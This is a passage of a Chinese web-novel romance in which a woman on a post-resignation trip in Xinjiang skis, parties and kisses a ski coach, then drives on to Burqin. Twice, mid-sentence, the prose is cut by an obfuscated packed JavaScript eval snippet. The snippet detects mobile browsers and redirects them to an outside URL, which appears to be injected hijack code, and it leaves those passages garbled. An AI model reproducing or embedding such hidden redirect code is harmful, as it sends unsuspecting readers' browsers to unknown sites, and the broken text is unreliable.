学弟回复很快【没事,明天我正好打算去将军山滑雪,那你什么时候有空啊?我可以等】 银杏叶【明天我和我男朋友也打算去滑雪,要一起吗?】 聊天页面顶部的正在输入标志闪了几下就不闪了,黄杏子放心地将手机收回口袋,去吧台点了杯饮品。 去往落地观影区势必要经过咖啡厅,透过玻璃门,两人的身影笼罩在暖光灯下,能看到女孩儿的手臂已经缠到了男人的脖子上。 黄杏子面无表情移开目光,亏她刚才还把蔺忱当借口挡了桃花,人家现在正忙着撩妹呢。 人在感到尴尬的时候总会装作很忙,口袋里的手机振了两下,她连忙拿出来查看消息。 不死鸟【看见了就别装瞎,赶紧过来帮忙】 黄杏子:? 她倒回去偏头仔细分辨了会儿,终于挑了下眉,蔺忱这是被烂桃花纠缠上了啊。 银杏叶(裸辞版)【等着,姐来救你】 黄杏子用的是最简单粗暴的办法,“正宫”的气势拿捏得很足,女孩儿年纪小很快脸色难看地跑了,她压根就不知道这帅哥还有女朋友。 蔺忱搓了搓脖子,终于松了口气,“太吓人了,还好有你。” “我还以为她真是来问我问题的,哪知道她会死缠烂打,我还是太善良了。” 黄杏子闭了闭眼不想说话,有病的帅哥,嗯,至少帅还是一个优点,她忍。 忽然她脑筋一转,“这样算是你欠我一个人情了?” 蔺忱挠了挠鼻子,刚才那姑娘身上香水的甜味太浓了,鼻子有些痒,“算是吧,我能力范围之内的你随便提。” “那……你给我当我一晚上男朋友如何?”黄杏子拿手机抵在他下巴底下,向上微微挑了挑,她可真聪明,这样她做什么都合理了,还能白嫖。 - 灯光昏暗的单人房里,蔺忱衣服半撩,眼里写满理解不了的复杂,“要我做你男朋友,是这个意思?” 手中触感剥离,黄杏子把视线从男人腹部挪开,“不然呢,我还能做那种没有道德的事儿不成?拜托,我可是中国好公民。万一让你对我念念不忘了,你未来女朋友恨上我了怎么办?” 语罢她用手理了理有些凌乱的衣服,对方罕见地沉默了。 半晌他从床上起身,掀了掀眼皮,语气略带嫌弃:“赶紧走,以后多去社会上见见世面,稀罕成这样。” “回来记得告诉我体验感受,顺便给我把好评补上。”黄杏子转过身正要开门出去,身后传来男人肆意到有些欠揍的声音。 原本有些心不在焉,黄杏子攥紧了身侧的拳头,要是她有机会和蔺忱未来的女朋友说话,她一定会把这人所有的恶劣行径都曝光。 噢不,嘴毒成这样,恐怕连女朋友都找不到吧。 房门“咔嚓”一声落锁,室内安静下来,只听得见隔壁房门开关的声响。蔺忱没有立刻动身,心跳有些超过正常的频率,昏暗中他冷嗤一声,转身踏入浴室。 他当然不会傻到认为这是心动的讯号,从前他的教练就劝过他谈女朋友,如此看来,许是这副身体常年没有释放这方面的正常生理欲望,才会对一个女人产生冲动。 黄杏子明媚勇敢,他恰好是反面例子,他对她有欣赏之意固然正常,怎么也不该有交集的。 - 周四是雪场的公休日,黄杏子不用去上课,便一觉睡到十二点,吃完午饭去的趟镇上的修车厂取车。 周二的时候修车厂就打来电话说她的车已经修好了,让她尽快来取,她今日才有空去一趟。 循着导航找到了地方,黄杏子登记了姓名和电话号码,拿回车钥匙签完字,跟着修车厂的人去取车。 镇上这个修车厂真的不大,一眼望过去这个故障多发季节停满了车,她的车在外面,旁边还有一辆打开引擎盖的红色吉普在维修,黄杏子抬眼望过去,居然在那两个修理工中间看见了蔺忱。 显然她望过来的那一瞬间,蔺忱也看到了她。 但他似乎没有打招呼的意思,大概是看陌生人的眼神,目光仅仅在她身上停留了一秒便继续手里没干完的事儿。 自从搞清了从镇上到雪场的大巴专线,她就没再麻烦过蔺忱,在青旅一次也没偶遇过,因此这是他们这么多天后的第一次见面。 黄杏子在人与人的缘分这块儿看得很开,她心里门儿清,估计就偶然遇上这么一次,之后应该就不会再见面了。 蔺忱戴了修车专用的手套,白手套染了油污,姿势略有松懒,边笑边聊天,从他手头工夫的熟练程度来看,他没少在这儿干。 他有意无意地瞥了一眼看见他果断垂眸的女人,在心底冷笑,装不认识么,他偏不让。 就算是相识的朋友的关系,见面也该打招呼吧。 黄杏子打开车门,余光瞥见蔺忱偏头和身旁的修理工说了什么,径直朝她走过来。 黄杏子心里尴尬面上不显,不好装作没看见,脸上是恰到好处的惊讶,面容淡定地“hi”了一声。 “黄小姐真是贵人多忘事,才多久没见,又不认识我了?”蔺忱语气淡淡。 “是好久没见了,蔺教练。”黄杏子哈哈两声,“你……在这里修车?” 蔺忱三两下摘了手套,身体后仰靠在后面的红色吉普上,语调随性,“是啊,一小时20块钱,一天上5小时,有钱赚谁会想不开。” “真的啊。”黄杏子瞪大了眼重新打量了一遍蔺忱,又开辟业务了啊,他穷成这样? “逗你的,你还真信。”蔺忱觉得好笑,“我刚来这里的时候被老板帮过,这几天厂里忙不过来,我过来帮忙。” 黄杏子“哦”了一声,甩了甩手里的车钥匙,欠身进了驾驶座,“那你忙吧,我就不打扰你了。” - 来新疆将近两个礼拜,黄杏子基本适应了这里的气候,也认识了不少朋友,平常有事没事就参加参加群里组织的活动,打打牌,喝喝小酒,日子别提有多惬意了。 滑雪课接近尾声,十节课学不了什么进阶的技术,但能勉强学会,在教练的指导下,黄杏子已经能勉强独自滑下高级雪道了。 最后一节结束后,她照例自己在场地上又尝试了几次,脱掉雪板在一旁坐下来休息的时候,有三四个年轻男女走过来询问她现在有没有空,能不能帮他们一个忙。 瞧着是一起来玩的朋友,几个人的穿着十分时髦靓丽,精致到了头发丝,黄杏子问他们什么忙。 “能帮我们拍个视频吗?就这种。”离她最近的男生递过手机,指着收藏里的一个户外博主的视频。 不过是小事,黄杏子爽快答应了:“行啊,但是我不能保证拍得很好啊,我试试看。”几人连忙摆摆手说没事。 第一遍过后,拍完把手机递还给他,“你们看看拍得满不满意?” 粉色雪服的女生凑到他旁边看,拍了下他的肩膀,“还可以,就是老季你站太远了,你像和我们不熟一样,我是什么洪水猛兽吗?” 男生一张表情很淡的脸上面露无语,“你离我远点儿,省得薛郑与那老醋缸又没醋硬吃。” 女生把手机递回给黄杏子,没理他,“再来一次吧,麻烦你了。” 黄杏子笑说好,最后重复拍了三遍,第三遍几乎完美复刻原视频,几个人连忙和她道谢告别。 今天高级道的雪质一般,黄杏子从早上就看出来了,不然也不至于在犁式转弯的时候失手,直接整个人与地面来了个亲密拥抱。 膝盖磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816863|190930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得隐隐作痛,也幸好是穿得多才没那么疼。 高级道随时有人会滑下来,黄杏子试图就着斜坡爬起来,奈何脚上雪板打架,她只得伸手去够鞋底与雪板的连接卡扣。 就在这时视线范围内一个黑色单板在她身旁刹车,扬起一道低矮的雪粉墙,那人向她伸出一只手。 紫色雪裤,黄杏子微怔,抬眼确认他的身份。 蔺忱垂眸居高临下地看她,不禁挑眉笑她:“健忘症啊你,又不认识了?” “你才健忘症。”她扬起的脸果断低下去,明黄色雪服的女生不客气地反驳。 黄杏子借了他的力站起来,便听见头顶传来声音:“刚刚那个男的呢,怎么没在一块儿?” “哪个男的?”黄杏子不知道他在说什么,努力回想了一下,刚才那些旅客里面确实是有个男生,“他们去那边滑了吧应该。” 蔺忱打开瓶盖给她递水,状似无意道:“他们叫你干什么?” “让我帮忙拍个视频,忙不大我就随手帮了。”黄杏子接过水,仰头喝了一口润润唇说,“这水,没开过吧?” “你这不废话。”闻言蔺忱耳朵微微有些发烫,他喝过的水还能给她喝?他能那么缺德? 黄杏子似乎真的只是随口一问,她思维跳脱,很快转到另一个话题,眼里写满亮晶晶的渴望,“嗳,你有去那条探险道滑过吗?听说傍晚能在那儿看日落,山顶还能蹦迪。” “滑过。”蔺忱诚实道,“不过……咱能不能先滑下去再说。” 黄杏子哦哦两声,解释道:“我就是想说,你能不能带带我?我的意思是,我们也算是朋友了对吧,回去之后我请你吃饭,吃什么你决定。” 她也没辙了,在这里他只有蔺忱一个认识的朋友,熟不熟另算,打个良心牌他总是会答应的吧。这么多天相处下来,她知道蔺忱是个挺好的人,黄杏子确信他不会拒绝的。 果不其然,蔺忱爽快答应了:“行啊,这有什么,今天蔺哥带你玩儿个够。” 探险道道如其名,即便不是难度最高的一条线路,但在难度上比低中高练习雪道更加曲折蜿蜒,却也是风景指数最高的一条。 雪道仿佛就搭建在城市上方,从上往下能够俯视整个城市建筑群,到了傍晚不仅能清晰看到日落,还能欣赏夜景。 愿景是美好的,然而现实却很残酷。雪道很长,还有一段需要经过野雪路段,对黄杏子这个“菜鸡”来说,毋庸置疑,是个不小的挑战。 “小心脑袋,不要只看路。”蔺忱顺手折掉伸到雪道中间的树枝,扔到路旁,对身后的人提醒道。 进入野雪路段就好像穿行在森林里,雪道两旁是繁茂的树木,挂着冰凌的枝桠横七竖八,由于很长时间没人修理,显得有些杂乱无章。 所幸脚下的雪被先前的滑雪者压实了,粉雪造成的干扰不大,黄杏子的神经得以放松一些,动作标准,瞧着稳得不像话。 刚夸完她稳,她就飘了,蔺忱还特意提醒了她别到时候被打脸,谁料下一秒黄杏子就被绊了一脚一脑袋栽进路旁的雪堆。 蔺忱吓了一跳,连忙停下来掉头去查看她的情况,“你没事吧?” 黄杏子翻过身坐在地上,呸呸呸吐掉嘴里的雪,冰死她了,舌头都要被冻僵了。 女人头发粘了一脑门儿的雪,分不清是雪水还是汗,蔺忱见她不说话,一副欲言又止的样子心里一个咯噔,“你怎么了?” 黄杏子满脸真诚,眼睛在雪光的照射下闪着细光,“滑了这么久,也该累了吧,我们休息会儿呗。” 蔺忱:…… 休息片刻,两人一前一后继续出发。过了这段难度最大的地段,前方豁然开朗,雪道宽阔,山坡之下房屋林立,视野开阔。 雪板驰骋,凌驾于城市灯火之上,耳边风声猎猎,盖过内心的紧绷与恐惧,黄杏子的内心却无比的平静,只专注于脚下。 过去的二十六年里,她不是在为成绩拼搏,就是在为业绩奔波,满足自己的需求是一件极为奢侈的事情,但也许这些都没那么重要呢。 人只有在举目无亲的地方才能真诚地活着,当你正视自己的真实需求和情感,诚实地面对自我,你才彻底找回了自己身体的主体性。 她真正想要的是什么,这是她这些天一直在思考的问题。 当她放下一切都市的繁忙停下来感受路,远离乱线一样的关系网,才真正明白自己真正想要的是什么,清醒而独立地活着。 8. 阿勒泰 六点半左右是日落时分,太阳一点一点落下,音响旁聚集的人越来越多,山顶酒吧也开始营业。 酒吧座位有限,露天的卡座已然满座,黄杏子点了一杯鸡尾酒,回去的时候那边已经开始了热烈的狂欢。 音响里放着蔡依林的《日不落》,没有舞台,他们就自己用箱子搭建了一个简陋的高处,音响声音很大,不专业的“业余歌手”扯着嗓音怼话筒,使劲儿甩头发,脸上表情丰富。 底下的人也一个赛一个沉浸式,摇头晃脑,有一窝蜂堆在前面的,还有围成圆圈面对面甩头的的,千奇百怪的舞姿应有尽有,倘若把声音关掉,不知道的还以为是有什么隐疾。 蔺忱融入得很快,一米八几的大高个儿像条鱼一样游进去了,黄杏子一偏头身边已经没了他的影子,再扭头往前一看,他那雪服颜色骚得没边,特别是在一众黑色男性之中,太扎眼了。 黄杏子本想默不作声跟过去,看见他还在冲她招手,心里的火苗啪嗒一下,希望破灭。 蹦迪什么的她熟,发疯什么的她更熟练,黄杏子还热衷于指导他几个蹦迪的时候常用的暗号。 一串数字蹦过去,蔺忱懵了下皱起眉,“什么?” “857857啊!很火的,就是蹦迪的意思。”黄杏子语速很快,“哎呀你别管,跟着说就完了。” 黄杏子回了他一句就不理他了,她像是有花不完的精力,举着手机又蹦又跳,嘴里断断续续蹦着歌词,鼓点声撞击耳膜,要不是听不真切,蔺忱会怀疑她没一个音在调上。 黄杏子压根没闲工夫估计身旁还有一个人,蹦得正欢,前面那人往后退,她也下意识往后退了一步,随后就是一脚踩在他鞋子上,后背撞进他胸膛。 蔺忱“啧”一声,伸手扶了一下,“站稳一点儿,往哪儿跌呢。”小兔子似的,莽莽撞撞的。 黄杏子蹦得高兴,怼他,“就跌。” 两人夹心饼干一样被人群挤在当中,蔺忱刚避开右边女生快要蹭上来的肩膀,前面那姑娘扭头伸出手晃了晃她的手机,他便知道她想干什么了。 他自然而然接过,下一秒黄杏子转过身叮嘱他怎么拍,奈何这个动作对于此时此刻的他们来说太为难了些,她的声音和音乐不分上下,蔺忱根本无法理解她的意思。 人群涌动,两人的身体时不时触碰在一起,不倒翁一样,被人群夹在中间隔着几公分距离推搡着,耳膜随DJ鼓点震动,靠近她的那只喷薄着热气。 听不清,也听不进,蔺忱下意识用手挡了一下她身后快要贴上来的某个后背。 要不是有黄杏子的手顶在前面,她能一脑袋撞进他怀里。 “就是……”黄杏子都要泄气了。 她扯住蔺忱衣服后面的帽子,让他凑近一点儿,蔺忱听话照做,依旧听不清她嘴里在嚷嚷什么。 她脸颊还带着饮酒后的红晕,淡淡的粉色,虽然皮肤不是很白但是胜在细腻,淡色的唇瓣大张大合,手舞足蹈的。 “这样?”他摆了个角度。 “不是——”黄杏子一把抢过手机,用周围的人给他做模拟示范。 一首歌结束,气氛才稍微落下来一些,得了空,黄杏子松了一口气趁着停顿的几秒钟再重复了一遍,一口气说完,然后喘着气撒开他衣服,看向他的眼睛,“懂了吗?” 蔺忱垂眸,“懂了,来吧。” 拍完蔺忱还她手机,还没开始准备接受她的赞扬,后脑勺就被人呼了一巴掌,“蔺忱!怼那么近是想给我的毛孔拍特写吗!” …… 山顶气氛热烈,雪山包容人们对自由的热情,声音在山谷回荡,没人意识到太阳是什么时候落下地平线的。 这里没有所谓的唱得好不好,跳得正不正确,意义不再是衡量时间价值的参照物,人类出生起被赋予的最原始的期许以闭环的形式呈现,存在即意义。 每个人都是自己人生的主角。 - 蹦迪的时候又碰到了在高级道让黄杏子帮忙拍照的年轻男女,闲聊后才知道他们是北京一所大学大四的学生,怕毕业后各奔东西,于是把毕业旅行的第一站定在冬天的新疆。 “我男朋友被他导师扣在学校,不然我们本来是五个人,我男朋友是他发小。”粉色雪服的女生指着那个叫老季的男生。 她好奇地问:“姐姐,你和你男朋友也是来旅游的吗?” “我,裸辞旅游,他,滑雪教练。”黄杏子弯着唇笑,看了眼蔺忱,“你从哪儿看出来我们俩是男女朋友的,认识了一个月都不到,比较合拍的朋友而已。” “是么。”粉色雪服不好意思地笑了笑,“你们气质还挺像的,就……都还挺出众的那种。” “你就特别像拍电影的那个明星啊!”她毫不吝啬地夸黄杏子,“叫什么我忘了,就特别洒脱大气。” 黄杏子被她夸得不好意思,“别逗了。”她不爱化妆,穿搭只讲究舒适随意,怎么高兴怎么来,光鲜亮丽这个词儿跟她搭不上边,别人最多夸一句底子好。 她突然来了兴趣,坏心思地提到蔺忱,“那他呢?” 蔺忱听到自己的名字抬眸,也好奇他会得到什么样的评价。 粉色雪服偏过头看了看他,脱口而出:“他随便。” 蔺忱:“……” 耳边分秒爆发出一阵毫不掩饰的笑声,周围的人也跟着笑,活像烧开水的开水壶。 黄杏子觉得这姑娘特好玩儿,可爱得紧,笑着扭头刻薄蔺忱,“蔺教练也有颜值生涯的滑铁卢啊。”蔺忱配合地捂住胸口,做了一个扎心了的动作。 年轻的男女学生精力旺盛,行程安排得满满的,看了他们自己做出来的行程安排黄杏子不禁感慨简直是特种兵,和她上学那会儿太像了。 “那你们下一站打算去哪里?”黄杏子问,她毕业后周围的朋友们都回老家的回老家,进公司的进公司,因而这段经历她是没有的。 粉色雪服也没思路,“老季,你说呢。” “算了,别拿出你那张破地图了。”她嫌弃道,“云南……或者三亚那边玩一圈,总之不能是太近的城市。反正时间还充裕,淡季嘛,不至于订不到机酒。” 日落过后天很快有的暗下来的迹象,下午运动过后的肚子在狂欢过后,后知后觉涌上饥饿感,旁边的一直安安静静的女生忍不住说话:“我们晚饭吃什么?” “对啊晚饭吃什么?雪场附近都死贵了,还不好吃,容易遇到宰客的。我中场出去的时候看过一眼,雪场只有简餐和卖小吃的。”另一个男生附和,“烤肠10块钱一根,汉堡50块钱。” “1公里内只有一家本地餐厅,不知道人会不会很多。” 粉色雪服闻言翻出导航地图来看,说,“附近有没有近一点的美食街什么的,我可不想再吃大盘鸡了,附近有没有烧烤啊,有点想念羊肉串了。” 站在一旁没说一句话的蔺忱吭声了:“我知道哪儿有。” 蔺忱带他们去的那家位于藏在居民区的一个夜市,夜市不大,几步路就能走到头,店铺却不少,蔺忱给他们介绍了许多本地的居民平常也会吃的店。 黄杏子巡视似的大步走在前面,“这地方不错啊,你挺会找。” 路边烧烤对这些年轻男女孩子的吸引力太大了,羊肉的鲜香一股脑儿往鼻子里冲,甚至这个会赚钱的老板把烧烤架搬到了外面,逮见一个往烤串上望的眼睛就大声吆喝。 语言不通,叽里呱啦讲了一通一个字没听懂,身体却是被推着迈进了店门。 就这样,黄杏子几个几乎是赶鸭子一样被邀请到了空桌上。 这顿约饭没有任何预兆,自然而然地凑到了一桌子朋友,黄杏子吃得欢乐,她才不管认不认识呢,遇到了就是朋友,这让她想起了一句话:“不要拉朋友上路,要在路上遇见朋友。” 烧烤摊是一对新疆本地夫妇开的,量大管饱,特别实在,女主人免费送了自己做的酸奶,上面撒了干果,奶质浓稠细腻,这边的干果也比家里那边的好吃。 新疆无论是奶制品还是瓜果品质都是杠杠的,日照时间长,甜度也高。 黄杏子脑筋一动,笑嘻嘻问:“老板娘,你们家的干果卖吗?我想带点儿回去给家里人尝尝。” “我们家没有卖的,我装一点给你带回去吧。”他们那边的人真热情啊,老板娘一勺子就是一斤,装了满满一大袋。 她和黄杏子说买特产的话哪个市场不要去,特别贵,要去哪个市场,那里便宜,去她朋友的摊子上报她的名字还能打个八折。 黄杏子除了点头还是在点头,太热情了,她从来没有见过这么真诚淳朴的人,无论是牧民还是为生计谋生的,似乎都对这个世界充满感激,永远保持着对生活的热忱。 灵感乍现,一个城市最吸引人的地方,在于它最真实的烟火气,哈萨克族人们的热情好客和爽朗质朴,每一个努力活着的生灵都万分可爱。 回到座位上,黄杏子立马把脑海中产生的灵感记录到备忘录里,蔺忱问他们喝什么,她忙着理思路,随口附和了一句卡瓦斯。 酒呢,烧烤配啤酒是必须有的,又叫老板开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816864|190930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一瓶大乌苏,都想尝尝鲜。 那天晚上黄杏子喝了一点酒,告别了其他四个弟弟妹妹,慢慢悠悠往回走。路边的烤肉夹馕太香,她看着老板热腾腾地做,也掏钱买了一个。 吃饱饭喝了酒之后,身体就懒洋洋的,想找个人说话。 她长叹一口气,大剌剌坐在路边,仰头“哎”了一声,“那么旺盛的生命力诶,年轻真好啊,朋友都还能聚在一起,他们的人生才刚刚开始。” 蔺忱今天话不多,笑了笑,“你不也是。” 喝酒容易敞开心扉,黄杏子难得在他人面前露出脆弱的一面,“我呀,也是失业人员一枚喽~也算是人生的一种新的开始吧,赌一赌嘛,其实也不是很糟。” “万一打了水漂,那我到时候就真身无分文了,那我就回来投奔你。”她脸上笑弧明显,笑得有些孩子气,“你说是吧好朋友,毕竟咱俩睡都睡过了,你总不至于这么无情吧。” 蔺忱逗她:“你以什么身份?” “那我们现在谈个恋爱?你到时候就和别人说,你那个嫌贫爱富的前女友四处碰壁,死皮赖脸又回来找你复合了?” 蔺忱眯了眯眼,看不出她是醉了没醉,嘴里说胡话呢。 “你要是不说话,我就当你答应了。”她眯着眼笑得痞痞的,实话说母胎单生这么多年,那一晚误打误撞,蔺忱第一次就给了她极致的体验。 她,是有那么一点念念不忘的。 黄杏子这人向来不愿意委屈自己,说起来还有些任性,当然也是受了几分工作的影响,天天加班熬夜工资还不涨,搁谁不发疯啊。 那她就当一次渣女呗,离开之前给自己谋点福利,算她对不起蔺忱了。 蔺忱还没来得及反应,唇边就传来软绵绵的触感,黄杏子亲在他唇角。 女强盗一样,学着寻常情侣接吻的动作,他依然能闻到那股淡淡的柑橘香。 却见他往后缩了缩,从脖子红到了耳后,夜色里颜色变化不明显,然而温度的攀升是没法骗人的。 黄杏子哂笑,捏住他的下巴拧过来仔细看了看,活脱脱一个女流氓,“蔺忱你不会没谈过恋爱吧。” 蔺忱气极。哪有这样先发制人的?没有经过他的同意还这样理直气壮,黄杏子这一套玩得是不是太过熟练了。 他拧过脖子冷了脸,谁料黄杏子直接跨坐到他的腿上,抱住他的脖子亲,开玩笑,她是会知难而退的人吗? 这回是直接双唇相抵,黄杏子的动作称得上蛮横,但其实她连一丁点儿恋爱经验都没有,更不会接吻,她的那点儿看电视剧得来的经验,实践起来跟狗啃也毫无差别。 唇齿相接发出暧昧的响声,一会儿滋一会儿啵的,听得人脸红心跳。 尴尬,好尴尬。 蔺忱不回应,她没一会儿就后悔了,她应该去看看相关的教程精进一下的!不然也不至于这么丢人。 终于蔺忱动了,他摁住了她的后脑勺深深吻下去,黄杏子感觉他其实也不太会,就比自己厉害那么一点点,但他摸索得快,黄杏子没一会儿就腿软了。 那天晚上的感觉蛊药一样侵蚀她,身体里有虫子在爬,她悄悄睁开眼去看蔺忱,蔺忱也睁着眼没闭上,还冲她挑了挑眉。 黄杏子气得在他唇上咬了一口,她都这样了,蔺忱居然还没感觉? 事实上蔺忱也没好到哪里去,黄杏子的手臂勾着他的脖子,肌肤相贴,呼吸炙热滚烫,身体内在经历一场大爆炸,浑身上下都透着不对劲儿。 大脑像一张混着颜色的白纸,只有接吻这一件事,甚至包括更出格的事。 年轻的男女不知在和什么较劲,青涩但是热烈,情绪上头的时候黄杏子甚至想邀请他再一起睡一晚。 吻了好久,等到蔺忱把她放开,黄杏子忽然想起什么仰起头喘着气,“哦对了,你要是有对象了得跟我说一声,我把你删了。” 蔺忱冷哼:“删什么?” 黄杏子诶了一声,“你不觉得膈应吗?换我我也觉得膈应。” 蔺忱垂着眸不知道在想什么,低低地“嗯”了一声,“再说吧。把口水擦擦?” “哦。”见鬼了,黄杏子竟觉得他这个样子有点蛊。男人耳后皮肤的粉色还没褪去,声音也低低哑哑的,黄杏子毫不收力地揉了两把他的头发,把这一切邪念归功于自己的色心大发。 蔺忱有时候还挺可爱的,特别是会脸红这一点,狠狠激发了她的“保护欲”。 虽然是有那么点舍不得,但是她不打算在这里停留过长时间,她得抓紧时间上路了。 9. 禾木 出发的时间在第二天早上,黄杏子一大早收拾好行囊,早餐店都还没开门,她啃着提前备好的馕,过着矿泉水艰难地咽下一口。 即便来这里有一段时间了,她还是不习惯把这里的馕当饭吃,太干了点儿,吃一半就吃不下去了。 她在车前站了一会儿,和这个愿意容纳她那么多天的小小青旅道了别,开门上车,伴着浓郁的夜色就上路了。 在走之前,顺手就把蔺忱的微信删了,她没有留着“前男友”过夜的习惯。 这一周天气都很好,没怎么下大雪,车没有被埋,也没有极端天气,一路顺顺利利的,阳光明媚。 黄杏子打算先在禾木玩上五天,再启程去喀纳斯。 冬季的马路结霜,减慢了行驶的速度,然而黄杏子也不急,抵达布尔津县上给车子加满了油,坐到热腾腾的早餐店里填满了空荡的胃,在县城里逛了逛,决定在这里逗留一天。 这场裸辞后作为一个礼物送给自己的旅程,只有一个要求,那就是想怎么来就怎么来,慢一点也没关系。 她兴致来得太突然,定好了当晚的酒店,为了养好精力,放弃了乌伦古湖和五彩滩,就在布尔津镇子里吃吃逛逛、拍拍照片。 冬天的布尔津处在雪后的安宁里,天空干净清爽,俄罗斯风格的街道,童话一般的房屋。 路上没什么人,有的只是临时中转的车辆。布尔津就是这么一个安静沉睡着的边陲小镇,从不会留人,温和地接待着过往的游客。 这个小县城实在太小了,逛完所有景点只需要一个早上,剩余的时间本想回酒店睡个午觉,睡醒了爬起来写脚本。 目光瞥见半拉着帘子的早餐店,店内透着午后的闲散,记起自己正在筹备的专栏主题,她心念一动,抬腿推开门走了进去。 黄杏子在心里骂自己,哈,你说你,怎么这么闲不住呢,没歇几天这个时候又有打工人的惯性了,怎么就不能闲下来专心摆个烂呢。 从门外能看见店内的场景,有几个操着方言的人围在方桌旁唠嗑,黄杏子猜测那是老板夫妇和他们的亲戚,隔壁那家便利店也是他们家经营的。 黄杏子叫了一份小吃,等待的间隙,她已经三言两语打入了内部,从他们的言语中了解起他们祖祖辈辈一贯的生活方式,这是最方便不过的做调研方式了。 走完这家,她又“不要脸”地走访了两家,出来之后马不停蹄串到一家咖啡店里,打开电脑沐浴着夕阳,把沉淀在脑子里的想法记录下来,做个归纳整合,最后确定选题和大纲。 一个小时后,黄杏子神清气爽地伸了个懒腰,落地玻璃窗外夕阳斜射,大片橘红蔓延至片云,发放着要落山的信号。 欣赏了会儿自己的成果,她登上自己的红薯账号,盯着仅有的50个粉丝出神。 自从深入了解后才知道,做自媒体这个领域不仅仅依靠产出的内容,平台就像一个复杂的自我运行机制,选题、数据分析、热点、活跃度、网感少了一个都运行不了。 然而这些东西对于她来说极为陌生,都需要她一点一点摸索,最终形成一个完整的体系。 这些天一直在苦恼选题这个中心问题,眼下心头大患终于解决,走出咖啡厅都觉得身体一轻,晚霞更美了。至于别的,就慢慢来嘛。 在街边上随便进了家店点了正宗的新疆炒米粉,吃饱了肚子晕碳,黄杏子直接回了酒店休息。 刚回到酒店表姐就打来电话,问她近况。黄杏子盘腿坐在沙发上,背包大开着在找充电器,接到电话身体向后倒,懒洋洋倚靠着。 她哼哼唧唧几声就想结束通话去洗澡,相处了那么多年,表姐太了解她了,警告说她不许挂。 “还有一件事想和你聊聊,你最近有没有什么感情上的发展?到了这个年纪总要考虑考虑了,不能老是逃避。” “没有。”黄杏子咬了颗硬糖在嘴里,吊儿郎当道,“我忙得很,哪儿有时间谈恋爱啊。你仔细想想,路上遇到的男人都不知根知底,还不知道在哪儿工作呢。” 表姐想了想也觉得不太行,“算了算了,旅游遇到的男人也不一定靠谱,走不远的。” “姐,新疆的干果还不错,我给你们寄点儿过去,你到时候记得签收。” 表姐:“哦,好啊,还有那个奶疙瘩你给我买点回来,小糖豆儿喜欢吃。” “成。”黄杏子点点头,这个她也喜欢,“我到时候去一趟市场,还要带什么,你微信和我说。” 微信里陆陆续续加了不少新好友,朋友圈里充斥着大家每天的照片分享,偶尔还能在别人评论区底下遇见认识的熟人。 黄杏子给每个恰路相逢的新朋友都加了标签,用一些趣事、外号、地点区分,比如说实在青旅拼酒认识的就是:阿勒泰、青旅、桌游、拼酒、醉。 一些简单的记忆点能让她快速回忆起那段时间认识了什么人,发生了什么事。 她走马观花地浏览过去,遇到感兴趣的就点个赞,或是随手留下一个评论。 青旅拉她玩桌游那姑娘这会儿在禾木玩儿,发了自己在雪里打滚的自拍照,黄杏子评论说“好自由,慕了”。 姑娘问她什么时候来,黄杏子说明天,她遗憾地表示她明天一早就要走,碰不了面了。 还有那位失业被女朋友甩的前.国企打工人,他要提前结束行程回上海了。 这桩事情谈起来简直太乌龙了。 在来新疆之前投的那几份简历,其中有一份投给一个外企的,被HR漏掉了。HR为对他造成的损失感到十分抱歉,问他什么时候能来上班。 这位仁兄激动地昭告全世界,朋友圈都没来得及发,就买了凌晨两点的红眼航班,连夜赶回上海。 底下纷纷对他表示祝贺,东北大哥更是说欢迎下次再来找我们玩。 总之是很好的消息,黄杏子由衷地为他感到高兴。 唇角勾起一个弧度,她打开最近在听的播客拿着衣物去洗澡,洗完澡困意上涌,就这么简单地完成一天的旅程睡去。 - 因为没定闹钟,第二天早上一觉睡到10点,黄杏子迎着灿烂的冬日暖阳醒来,退完房下楼吃完早餐,导航定位禾木村,确保油箱充足就潇洒地出发了。 从布尔津到禾木的这段路风景绝佳,山谷幽深,广阔荒凉,孤树披着雾凇,雪是这片土地最不奢侈的礼物。 这时候自驾的优点就突现出来了,她可以随时停下来拍照欣赏。 盘山路段不好停车,继续向前两公里终于到了平缓的山谷,路边景色也开阔起来,黄杏子找了个安全的地方停下车,打算停车下去看看。 山坡连绵,白线覆盖山脊,松林屹立,嶙峋的岩石一部分裸露在外面。 安静的、平稳的、厚重的、温沉的,包容万象。 黄杏子有时候会觉得这个地方一旦来过就戒不掉了,见过一次,就会惦念千万次。在这里待上一天也好,它能治愈世界上大多数不美满的心情,有什么病都好了。 黄杏子拿起相机咔擦咔擦狂拍几张,换了个角度继续拍,相机拍完就用手机拍。自从来了新疆,每天累积起来的照片数量是她往常一个月的量。 就在这个时候系统跳出提示:手机内存告急,她淡定地掏出很久没用的工作机,继续练习她的拍照技术。 所有照片视频拍完,手指点开朋友圈发了一张自己的自拍出去,加上定位。至于文案么,没有,她懒得想。 户外零下三十六度,鼻腔内感觉快要结冰了,闷闷的干涩,黄杏子咬了咬牙,蹲下身摸了摸地上的雪。 北方的雪沙沙的,不沾手。不像南方的雪,那一丁点儿可怜的积雪都算不上是雪了,底下邦邦硬,一摸一手水。 特别是这几年全球变暖,下的雪越来越少,落到地上化成水消失不见,连小时候喜欢玩的打雪仗堆雪人都很难实现了。 